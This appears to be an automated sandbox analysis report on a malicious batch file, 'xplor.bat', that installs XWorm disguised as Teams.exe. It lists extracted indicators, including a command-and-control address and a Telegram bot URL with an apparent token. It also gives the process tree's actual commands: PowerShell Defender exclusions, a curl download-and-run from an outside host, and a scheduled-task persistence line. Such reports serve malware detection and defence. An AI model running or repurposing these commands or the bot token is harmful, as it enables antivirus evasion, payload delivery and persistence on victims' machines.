Analysis
-
max time kernel
144s -
max time network
148s -
platform
windows11-21h2_x64 -
resource
win11-20240611-en -
resource tags
arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system -
submitted
30-06-2024 03:08
Static task
static1
Behavioral task
behavioral1
Sample
xplor.bat
Resource
win10-20240611-en
Behavioral task
behavioral2
Sample
xplor.bat
Resource
win11-20240611-en
General
-
Target
xplor.bat
-
Size
67KB
-
MD5
e73ebec54986581fbbd93963e1fbf6b1
-
SHA1
2981273cb4df5c03e997f25ca217a1368e9e0635
-
SHA256
e7551b81392e6e047d087d496b8a26443cb83074a1f93a448e207bdc81d0487a
-
SHA512
b1a1bc06b9ca737d4b3feb78d7e97e42ede7b8df81e48bab0354419bd65a143438154e6e68a2d8a061a21ecc4d41e6fc7730699b822d2c9dc646198f1158801b
-
SSDEEP
48:+HEIFOhNg8Mh0vULQyDzPMdFijnH6HCRYglCtiJOTOTOTOTOTOTOTOTOTOTOTOTt:+HEIFOhS8S0OQyZrH6viyKCCFX
Malware Config
Extracted
xworm
193.161.193.99:46625
-
Install_directory
%AppData%
-
install_file
Teams.exe
-
telegram
https://api.telegram.org/bot7251026627:AAFe7iqGz4Cd2IluTlmdghq0XQUzAYL6FpY
Signatures
-
Detect Xworm Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\Teams.exe family_xworm behavioral2/memory/2956-32-0x0000000000BB0000-0x0000000000BE2000-memory.dmp family_xworm -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepid process 2096 powershell.exe 4552 powershell.exe -
Downloads MZ/PE file
-
Drops startup file 2 IoCs
Processes:
Teams.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Teams.lnk Teams.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Teams.lnk Teams.exe -
Executes dropped EXE 4 IoCs
Processes:
Teams.exeTeams.exeTeams.exeTeams.exepid process 2956 Teams.exe 1332 Teams.exe 3220 Teams.exe 4672 Teams.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
Teams.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1560405787-796225086-678739705-1000\Software\Microsoft\Windows\CurrentVersion\Run\Teams = "C:\\Users\\Admin\\AppData\\Roaming\\Teams.exe" Teams.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 6 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 756 timeout.exe -
Runs net.exe
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 2096 powershell.exe 2096 powershell.exe 4552 powershell.exe 4552 powershell.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
Processes:
powershell.exepowershell.exeTeams.exeTeams.exeTeams.exeTeams.exedescription pid process Token: SeDebugPrivilege 2096 powershell.exe Token: SeDebugPrivilege 4552 powershell.exe Token: SeDebugPrivilege 2956 Teams.exe Token: SeDebugPrivilege 2956 Teams.exe Token: SeDebugPrivilege 1332 Teams.exe Token: SeDebugPrivilege 3220 Teams.exe Token: SeDebugPrivilege 4672 Teams.exe -
Suspicious use of WriteProcessMemory 24 IoCs
Processes:
cmd.exenet.execmd.exeTeams.exedescription pid process target process PID 2056 wrote to memory of 2280 2056 cmd.exe cmd.exe PID 2056 wrote to memory of 2280 2056 cmd.exe cmd.exe PID 2056 wrote to memory of 1340 2056 cmd.exe net.exe PID 2056 wrote to memory of 1340 2056 cmd.exe net.exe PID 1340 wrote to memory of 5076 1340 net.exe net1.exe PID 1340 wrote to memory of 5076 1340 net.exe net1.exe PID 2056 wrote to memory of 3360 2056 cmd.exe cmd.exe PID 2056 wrote to memory of 3360 2056 cmd.exe cmd.exe PID 2056 wrote to memory of 2096 2056 cmd.exe powershell.exe PID 2056 wrote to memory of 2096 2056 cmd.exe powershell.exe PID 2056 wrote to memory of 4552 2056 cmd.exe powershell.exe PID 2056 wrote to memory of 4552 2056 cmd.exe powershell.exe PID 2056 wrote to memory of 4436 2056 cmd.exe curl.exe PID 2056 wrote to memory of 4436 2056 cmd.exe curl.exe PID 2056 wrote to memory of 2956 2056 cmd.exe Teams.exe PID 2056 wrote to memory of 2956 2056 cmd.exe Teams.exe PID 2056 wrote to memory of 1180 2056 cmd.exe cmd.exe PID 2056 wrote to memory of 1180 2056 cmd.exe cmd.exe PID 1180 wrote to memory of 2896 1180 cmd.exe findstr.exe PID 1180 wrote to memory of 2896 1180 cmd.exe findstr.exe PID 2956 wrote to memory of 448 2956 Teams.exe schtasks.exe PID 2956 wrote to memory of 448 2956 Teams.exe schtasks.exe PID 2056 wrote to memory of 756 2056 cmd.exe timeout.exe PID 2056 wrote to memory of 756 2056 cmd.exe timeout.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\xplor.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\xplor.bat" null firstrun2⤵
-
C:\Windows\system32\net.exeNET FILE2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 FILE3⤵
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\xplor.bat" skipuac firstrun2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\curl.execurl -s -o Teams.exe https://dl.discreetshare.com/667ef2c76812d9b627df4e352⤵
-
C:\Users\Admin\AppData\Local\Temp\Teams.exeTeams.exe2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Teams" /tr "C:\Users\Admin\AppData\Roaming\Teams.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c findstr /b ::: "C:\Users\Admin\AppData\Local\Temp\xplor.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\findstr.exefindstr /b ::: "C:\Users\Admin\AppData\Local\Temp\xplor.bat"3⤵
-
C:\Windows\system32\timeout.exetimeout 22⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Roaming\Teams.exeC:\Users\Admin\AppData\Roaming\Teams.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\Teams.exeC:\Users\Admin\AppData\Roaming\Teams.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\Teams.exeC:\Users\Admin\AppData\Roaming\Teams.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Teams.exe.logFilesize
654B
MD52cbbb74b7da1f720b48ed31085cbd5b8
SHA179caa9a3ea8abe1b9c4326c3633da64a5f724964
SHA256e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3
SHA512ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5627073ee3ca9676911bee35548eff2b8
SHA14c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA25685b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA5123c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD51a9fa92a4f2e2ec9e244d43a6a4f8fb9
SHA19910190edfaccece1dfcc1d92e357772f5dae8f7
SHA2560ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888
SHA5125d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64
-
C:\Users\Admin\AppData\Local\Temp\Teams.exeFilesize
173KB
MD5a3b6d62803572915891a21d0517b10ae
SHA1fe76c654b5e598733c0e04d65a6f114ab7099f58
SHA25636f07e44f833615b17e74b64a4734a6e7c302dd1f97827d46bd913e8f79517ec
SHA5128b29099ab473a5a028ba19738adc1cd73d29df65eaf0057d89db160ead6336f7565b576b2f0311db15a75c0f586a07f7b2f1a12b011a53ec717c1ebbce1daa16
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0qnjwu4q.qw1.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/2096-10-0x00007FF9482D0000-0x00007FF948D92000-memory.dmpFilesize
10.8MB
-
memory/2096-13-0x00007FF9482D0000-0x00007FF948D92000-memory.dmpFilesize
10.8MB
-
memory/2096-16-0x00007FF9482D0000-0x00007FF948D92000-memory.dmpFilesize
10.8MB
-
memory/2096-12-0x00007FF9482D0000-0x00007FF948D92000-memory.dmpFilesize
10.8MB
-
memory/2096-11-0x00007FF9482D0000-0x00007FF948D92000-memory.dmpFilesize
10.8MB
-
memory/2096-0-0x00007FF9482D3000-0x00007FF9482D5000-memory.dmpFilesize
8KB
-
memory/2096-9-0x0000021FF5C10000-0x0000021FF5C32000-memory.dmpFilesize
136KB
-
memory/2956-32-0x0000000000BB0000-0x0000000000BE2000-memory.dmpFilesize
200KB